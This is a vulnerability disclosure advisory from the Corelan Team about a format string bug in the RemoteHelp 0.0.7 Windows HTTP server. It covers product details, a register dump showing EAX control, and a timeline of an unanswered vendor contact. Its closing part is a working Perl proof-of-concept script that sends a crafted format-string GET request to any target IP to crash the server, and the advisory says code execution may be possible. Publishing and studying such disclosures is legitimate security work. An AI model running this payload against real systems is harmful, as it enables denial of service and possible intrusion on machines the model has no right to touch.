|------------------------------------------------------------------|
| __ __ |
| _________ ________ / /___ _____ / /____ ____ _____ ___ |
| / / __ \/ / _ \/ / __ `/ __ \ / / _ \/ __ `/ __ ` \ |
| / // // / / / __/ / // / / / / / // __/ // / / / / / / |
| \/\// \//\,// // \/\/\__,// // // |
| |
| http://www.corelan.be:8800 |
| [email protected] |
| |
|-------------------------------------------------[ EIP Hunters ]–|
| |
| Vulnerability Disclosure Report |

Advisory : CORELAN-10-015
Disclosure date : March 20, 2010
http://www.corelan.be:8800/index.php/forum/security-advisories/remote-help-httpd-denial-of-service/

0x00 : Vulnerability information

[] Product : RemoteHelp
[] Version : 0.0.7
[] Vendor : http://hipernes.sdf-eu.org/
[] URL : http://hipernes.sdf-eu.org/
[] URL : http://www.softpedia.com/progDownload/Remote-Help-Download-144888.html
[] URL : http://sourceforge.net/projects/remotehelp
[] Platform : Windows XP
[] Type of vulnerability : Format String
[] Risk rating : Low/Medium
[] Issue fixed in version : Unknown
[] Vulnerability discovered by : Rick2600
[] Corelan Team : http://www.corelan.be:8800/index.php/security/corelan-team-members/

0x01 : Vendor description of software

From the vendor website:

RemoteHelp is a minimal http server that allows to view and control a remote pc running a 32-bits

version of Microsoft Windows. It is only one file without any configuration file and now include

webcam support, new interface and new features…

0x02 : Vulnerability details

The discovered vulnerability allows an attacker to cause denial of service in the aplication by sending a
malicious request containing format string specifier. Remote code execution may be possible.

EAX 41424344
ECX 00E7F818
EDX 00000000
EBX 0000006E
ESP 00D3F2FC ASCII "0000000000000…"
EBP 00D3F550
ESI 00000001
EDI 00D3FE27 ASCII "XDCBA>"
EIP 00414DFC httpd_0_.00414DFC

0x03 : Vendor communication

01 feb 2010 : Vendor contacted - no reply
20 mar 2010 : Public disclosure

0x04 : Exploit/PoC

Exploit Title : Remote Help 0.0.7 Remote DoS

Date : 20 Mar 2010

Author : Rick2600 (ricks2600[at]gmail{dot}com)

Bug found by : Rick2600

Software Link : http://www.softpedia.com/progDownload/Remote-Help-Download-144888.html

Version : 0.0.7

OS : Windows

Tested on : XP SP2 En

Type of vuln : DoS

Greetz to : Corelan Security Team :

http://www.corelan.be:8800/index.php/security/corelan-team-members/

Script provided 'as is', without any warranty.

Use for educational purposes only.

Code :

print "|------------------------------------------------------------------|\n";
print "| __ __ |\n";
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n";
print "| / / __ \\/ / _ \\/ / __ `/ __ \\ / / _ \\/ __ `/ __ ` \\ |\n";
print "| / // // / / / __/ / // / / / / / // __/ // / / / / / / |\n";
print "| \\/\\// \\//\\,// // \\/\\/\\__,// // // |\n";
print "| |\n";
print "| http://www.corelan.be:8800 |\n";
print "| |\n";
print "|-------------------------------------------------[ EIP Hunters ]–|\n\n";
print "[+] DoS exploit for Remote Help 0.0.7 Http\n";

use IO::Socket;

if ($#ARGV != 0) {
print $#ARGV;
print "\n usage: $0 <targetip>\n";
exit(0);
}

print "[+] Connecting to server $ARGV[0] on port 80\n\n";

$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $ARGV[0],
PeerPort => "http(80)",
);
unless ($remote) { die "Cannot connect to Remote Help daemon on $ARGV[0]\n" }
print "[+] Connected!\n";

#CONTROL EAX
$payload = "/index.html" . "%x" x 90 . "A" x 250 . "%x" x 186 ."%.999999x" x 15 ."%.199999x" . "%nX" .
"DCBA";

print "[+] Sending Malicious Request\n";
print $remote "GET $payload HTTP/1.1\r\n";
close $remote;